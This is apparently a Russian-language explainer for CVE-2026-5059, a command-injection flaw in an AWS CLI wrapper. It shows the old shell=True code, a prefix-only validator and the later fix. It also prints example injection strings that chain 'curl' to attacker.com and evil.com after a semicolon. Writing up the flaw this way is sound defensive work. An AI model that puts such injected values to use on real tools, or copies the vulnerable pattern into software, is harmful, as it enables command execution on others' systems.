CVE-2026-5059-poc

Где находится CVE-2026-5059 в коде? Уязвимость заключается в двух файлах, работающих вместе:

Файл 1: tools.py — Первопричина В старой версии использовался shell=True в execute_piped_command(): python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) Когда shell=True, оболочка ОС интерпретирует всю строку, включая ;, &&, ||, обратные кавычки — поэтому всё после ; выполняется как отдельная команда.

Файл 2: security.py — Неполная защита Валидатор проверял только то, что команда начинается с aws: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe Таким образом, aws s3 ls ; curl http://attacker.com проходила валидацию — начинается с aws — а затем shell=True выполнял обе части.

Почему текущая версия (v1.7.0) отличается Судя по актуальному коду на сегодняшний день, обе проблемы устранены: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation А security.py был полностью удалён — заменён на песочницу ОС (Landlock/bwrap/Seatbelt). Теперь ; безвреден: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess получает ';' как литеральный аргумент для aws → AWS CLI игнорирует его, вторая команда не выполняется

Итог в одной строке Уязвимая версияТекущая v1.7.0Выполнениеshell=True + строкаshell=False + списокВалидациятолько startswith("aws")песочница на уровне ОС; обработкаВыполняется оболочкойОбрабатывается как литеральный текст CVE был зарегистрирован против старой версии. ZDI опубликовал его как 0-day, потому что вендор отклонил отчёт — но архитектура уже отошла от shell=True до публикации CVE.